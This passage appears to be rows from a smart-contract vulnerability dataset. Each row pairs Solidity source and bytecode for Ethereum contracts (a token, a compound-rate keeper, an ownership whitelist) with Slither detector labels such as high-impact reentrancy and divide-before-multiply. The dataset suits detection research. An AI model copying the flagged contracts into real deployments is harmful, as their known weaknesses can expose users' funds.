3ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161241a9594939291906132c5565b600060405180830381600087803b15801561243457600080fd5b505af1158015612448573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b612476838383612509565b505050565b600080831182906124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b99190613168565b60405180910390fd5b50600083856124d19190613436565b9050809150509392505050565b60008060006124eb6126d4565b91509150612502818361204d90919063ffffffff16565b9250505090565b60008060008060008061251b87612736565b95509550955095509550955061257986600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127cb90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260e85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265a81612873565b6126648483612930565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126c191906132aa565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea00000905061270a683635c9adc5dea0000060095461204d90919063ffffffff16565b82101561272957600954683635c9adc5dea00000935093505050612732565b81819350935050505b9091565b600080600080600080600080600061274c61296a565b61276a576127658a600b60020154600b60030154612981565b612780565b61277f8a600b60000154600b60010154612981565b5b92509250925060006127906124de565b905060008060006127a38e878787612a17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f6e565b905092915050565b600080828461282491906133e0565b905083811015612869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612860906131ca565b60405180910390fd5b8091505092915050565b600061287d6124de565b905060006128948284611fd290919063ffffffff16565b90506128e881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612945826009546127cb90919063ffffffff16565b60098190555061296081600a5461281590919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806129ad606461299f888a611fd290919063ffffffff16565b61204d90919063ffffffff16565b905060006129d760646129c9888b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90506000612a00826129f2858c6127cb90919063ffffffff16565b6127cb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a308589611fd290919063ffffffff16565b90506000612a478689611fd290919063ffffffff16565b90506000612a5e8789611fd290919063ffffffff16565b90506000612a8782612a7985876127cb90919063ffffffff16565b6127cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ab3612aae8461335f565b61333a565b90508083825260208201905082856020860282011115612ad257600080fd5b60005b85811015612b025781612ae88882612b0c565b845260208401935060208301925050600181019050612ad5565b5050509392505050565b600081359050612b1b816138d6565b92915050565b600081519050612b30816138d6565b92915050565b600082601f830112612b4757600080fd5b8135612b57848260208601612aa0565b91505092915050565b600081359050612b6f816138ed565b92915050565b600081519050612b84816138ed565b92915050565b600081359050612b9981613904565b92915050565b600081519050612bae81613904565b92915050565b600060208284031215612bc657600080fd5b6000612bd484828501612b0c565b91505092915050565b600060208284031215612bef57600080fd5b6000612bfd84828501612b21565b91505092915050565b60008060408385031215612c1957600080fd5b6000612c2785828601612b0c565b9250506020612c3885828601612b0c565b9150509250929050565b600080600060608486031215612c5757600080fd5b6000612c6586828701612b0c565b9350506020612c7686828701612b0c565b9250506040612c8786828701612b8a565b9150509250925092565b60008060408385031215612ca457600080fd5b6000612cb285828601612b0c565b9250506020612cc385828601612b8a565b9150509250929050565b600060208284031215612cdf57600080fd5b600082013567ffffffffffffffff811115612cf957600080fd5b612d0584828501612b36565b91505092915050565b600060208284031215612d2057600080fd5b6000612d2e84828501612b60565b91505092915050565b600060208284031215612d4957600080fd5b6000612d5784828501612b75565b91505092915050565b600060208284031215612d7257600080fd5b6000612d8084828501612b8a565b91505092915050565b600080600060608486031215612d9e57600080fd5b6000612dac86828701612b9f565b9350506020612dbd86828701612b9f565b9250506040612dce86828701612b9f565b9150509250925092565b60008060008060808587031215612dee57600080fd5b6000612dfc87828801612b8a565b9450506020612e0d87828801612b8a565b9350506040612e1e87828801612b8a565b9250506060612e2f87828801612b8a565b91505092959194509250565b6000612e478383612e53565b60208301905092915050565b612e5c816134f5565b82525050565b612e6b816134f5565b82525050565b6000612e7c8261339b565b612e8681856133be565b9350612e918361338b565b8060005b83811015612ec2578151612ea98882612e3b565b9750612eb4836133b1565b925050600181019050612e95565b5085935050505092915050565b612ed881613507565b82525050565b612ee78161354a565b82525050565b6000612ef8826133a6565b612f0281856133cf565b9350612f1281856020860161355c565b612f1b81613696565b840191505092915050565b6000612f33602a836133cf565b9150612f3e826136a7565b604082019050919050565b6000612f566022836133cf565b9150612f61826136f6565b604082019050919050565b6000612f79601b836133cf565b9150612f8482613745565b602082019050919050565b6000612f9c6021836133cf565b9150612fa78261376e565b604082019050919050565b6000612fbf6020836133cf565b9150612fca826137bd565b602082019050919050565b6000612fe26029836133cf565b9150612fed826137e6565b604082019050919050565b6000613005601a836133cf565b915061301082613835565b602082019050919050565b60006130286024836133cf565b91506130338261385e565b604082019050919050565b600061304b6017836133cf565b9150613056826138ad565b602082019050919050565b61306a81613533565b82525050565b6130798161353d565b82525050565b60006020820190506130946000830184612e62565b92915050565b60006040820190506130af6000830185612e62565b6130bc6020830184612e62565b9392505050565b60006040820190506130d86000830185612e62565b6130e56020830184613061565b9392505050565b600060c0820190506131016000830189612e62565b61310e6020830188613061565b61311b6040830187612ede565b6131286060830186612ede565b6131356080830185612e62565b61314260a0830184613061565b979650505050505050565b60006020820190506131626000830184612ecf565b92915050565b600060208201905081810360008301526131828184612eed565b905092915050565b600060208201905081810360008301526131a381612f26565b9050919050565b600060208201905081810360008301526131c381612f49565b9050919050565b600060208201905081810360008301526131e381612f6c565b9050919050565b6000602082019050818103600083015261320381612f8f565b9050919050565b6000602082019050818103600083015261322381612fb2565b9050919050565b6000602082019050818103600083015261324381612fd5565b9050919050565b6000602082019050818103600083015261326381612ff8565b9050919050565b600060208201905081810360008301526132838161301b565b9050919050565b600060208201905081810360008301526132a38161303e565b9050919050565b60006020820190506132bf6000830184613061565b92915050565b600060a0820190506132da6000830188613061565b6132e76020830187612ede565b81810360408301526132f98186612e71565b90506133086060830185612e62565b6133156080830184613061565b9695505050505050565b60006020820190506133346000830184613070565b92915050565b6000613344613355565b9050613350828261358f565b919050565b6000604051905090565b600067ffffffffffffffff82111561337a57613379613667565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133eb82613533565b91506133f683613533565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342b5761342a613609565b5b828201905092915050565b600061344182613533565b915061344c83613533565b92508261345c5761345b613638565b5b828204905092915050565b600061347282613533565b915061347d83613533565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b6576134b5613609565b5b828202905092915050565b60006134cc82613533565b91506134d783613533565b9250828210156134ea576134e9613609565b5b828203905092915050565b600061350082613513565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061355582613533565b9050919050565b60005b8381101561357a57808201518184015260208101905061355f565b83811115613589576000848401525b50505050565b61359882613696565b810181811067ffffffffffffffff821117156135b7576135b6613667565b5b80604052505050565b60006135cb82613533565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135fe576135fd613609565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6138df816134f5565b81146138ea57600080fd5b50565b6138f681613507565b811461390157600080fd5b50565b61390d81613533565b811461391857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ebc978719d6aa83f2a6e9625f4ad943e45d7b3a353c02bd5e6d7470cf3ff2be64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,913 |
0x985e2a89c2e0c1afb56f699cf320da0782fe0e51
|
pragma solidity ^0.7.0;
library DSMath {
/// @dev github.com/makerdao/dss implementation
/// of exponentiation by squaring
// nth power of x mod b
function rpow(uint x, uint n, uint b) internal pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := b} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := b } default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, b)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, b)
}
}
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CompoundRateKeeper is Ownable {
using SafeMath for uint256;
struct CompoundRate {
uint256 rate;
uint256 lastUpdate;
}
CompoundRate public compoundRate;
constructor () {
compoundRate.rate = 1 * 10 ** 27;
compoundRate.lastUpdate = block.timestamp;
}
function getCurrentRate() view external returns(uint256) {
return compoundRate.rate;
}
function getLastUpdate() view external returns(uint256) {
return compoundRate.lastUpdate;
}
function update(uint256 _interestRate) external onlyOwner returns(uint256) {
uint256 _decimal = 10 ** 27;
uint256 _period = (block.timestamp).sub(compoundRate.lastUpdate);
uint256 _newRate = compoundRate.rate
.mul(DSMath.rpow(_interestRate.add(_decimal), _period, _decimal)).div(_decimal);
compoundRate.rate = _newRate;
compoundRate.lastUpdate = block.timestamp;
return _newRate;
}
}
interface IEpanStaking {
/**
* @notice Update compound rate
*/
function updateCompoundRate() external;
/**
* @notice Update compound rate timeframe
*/
function updateCompoundRateTimeframe() external;
/**
* @notice Update both compound rates
*/
function updateCompoundRates() external;
/**
* @notice Update compound rate and stake tokens to user balance
* @param _amount Amount to stake
* @param _isTimeframe If true, stake to timeframe structure
*/
function updateCompoundAndStake(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Update compound rate and withdraw tokens from contract
* @param _amount Amount to stake
* @param _isTimeframe If true, withdraw from timeframe structure
*/
function updateCompoundAndWithdraw(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Stake tokens to user balance
* @param _amount Amount to stake
* @param _isTimeframe If true, stake to timeframe structure
*/
function stake(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Withdraw tokens from user balance. Only for timeframe stake
* @param _amount Amount to withdraw
* @param _isTimeframe If true, withdraws from timeframe structure
*/
function withdraw(uint256 _amount, bool _isTimeframe) external returns (bool);
/**
* @notice Returns the staking balance of the user
* @param _isTimeframe If true, return balance from timeframe structure
*/
function getBalance(bool _isTimeframe) external view returns (uint256);
/**
* @notice Set interest rate
*/
function setInterestRate(uint256 _newInterestRate) external;
/**
* @notice Set interest rate timeframe
* @param _newInterestRate New interest rate
*/
function setInterestRateTimeframe(uint256 _newInterestRate) external;
/**
* @notice Set interest rates
* @param _newInterestRateTimeframe New interest rate timeframe
*/
function setInterestRates(uint256 _newInterestRate, uint256 _newInterestRateTimeframe) external;
/**
* @notice Add tokens to contract address to be spent as rewards
* @param _amount Token amount that will be added to contract as reward
*/
function supplyRewardPool(uint256 _amount) external returns (bool);
/**
* @notice Get reward amount for sender address
* @param _isTimeframe If timeframe, calculate reward for user from timeframe structure
*/
function getRewardAmount(bool _isTimeframe) external view returns (uint256);
/**
* @notice Get coefficient. Tokens on the contract / reward to be paid
*/
function monitorSecurityMargin() external view returns (uint256);
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806382ab890a1161005b57806382ab890a146100cf5780638da5cb5b14610111578063f2fde38b14610145578063f7fb07b0146101895761007d565b80634c89867f1461008257806366425d36146100a0578063715018a6146100c5575b600080fd5b61008a6101a7565b6040518082815260200191505060405180910390f35b6100a86101b3565b604051808381526020018281526020019250505060405180910390f35b6100cd6101c5565b005b6100fb600480360360208110156100e557600080fd5b810190808035906020019092919050505061034b565b6040518082815260200191505060405180910390f35b6101196104a9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101876004803603602081101561015b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104d2565b005b6101916106dd565b6040518082815260200191505060405180910390f35b60006001800154905090565b60018060000154908060010154905082565b6101cd6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461028d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006103556106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006b033b2e3c9fd0803ce80000009050600061043f6001800154426106f290919063ffffffff16565b905060006104898361047b610467610460878a61073c90919063ffffffff16565b86886107c4565b60016000015461088a90919063ffffffff16565b61091090919063ffffffff16565b905080600160000181905550426001800181905550809350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6104da6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610620576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610ae16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160000154905090565b600033905090565b600061073483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095a565b905092915050565b6000808284019050838110156107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000836000811461086a5760028406600081146107e3578592506107e7565b8392505b50600283046002850494505b841561086457858602868782041461080a57600080fd5b8181018181101561081a57600080fd5b8581049750600287061561085757878502858982041415891515161561083f57600080fd5b8381018181101561084f57600080fd5b878104965050505b50506002850494506107f3565b50610882565b836000811461087c5760009250610880565b8392505b505b509392505050565b60008083141561089d576000905061090a565b60008284029050828482816108ae57fe5b0414610905576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b076021913960400191505060405180910390fd5b809150505b92915050565b600061095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a1a565b905092915050565b6000838311158290610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109cc5780820151818401526020810190506109b1565b50505050905090810190601f1680156109f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a8b578082015181840152602081019050610a70565b50505050905090810190601f168015610ab85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ad257fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122009df7dda844e4d492b14ec04eca8fc79218d9cebd5397aa01099d6ea4a6edd1764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,914 |
0x1248460fd7e9c7148f2c11e94e0524c3dcfa7219
|
pragma solidity 0.5.16;
interface IParams {
function isLiquidation(uint256 price) external view returns (bool);
}
interface IEsm {
function shutdown() external;
function isClosed() external view returns (bool);
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(
msg.sender == nominatedOwner,
"You must be nominated before you can accept ownership"
);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
require(
msg.sender == owner,
"Only the contract owner may perform this action"
);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract WhiteList is Owned {
/// @notice Users with permissions
mapping(address => uint256) public whiter;
/// @notice Append address into whiteList successevent
event AppendWhiter(address adder);
/// @notice Remove address into whiteList successevent
event RemoveWhiter(address remover);
/**
* @notice Construct a new WhiteList, default owner in whiteList
*/
constructor() internal {
appendWhiter(owner);
}
modifier onlyWhiter() {
require(isWhiter(), "WhiteList: msg.sender not in whilteList.");
_;
}
/**
* @notice Only onwer can append address into whitelist
* @param account The address not added, can added to the whitelist
*/
function appendWhiter(address account) public onlyOwner {
require(account != address(0), "WhiteList: address not zero");
require(
!isWhiter(account),
"WhiteListe: the account exsit whilteList yet"
);
whiter[account] = 1;
emit AppendWhiter(account);
}
/**
* @notice Only onwer can remove address into whitelist
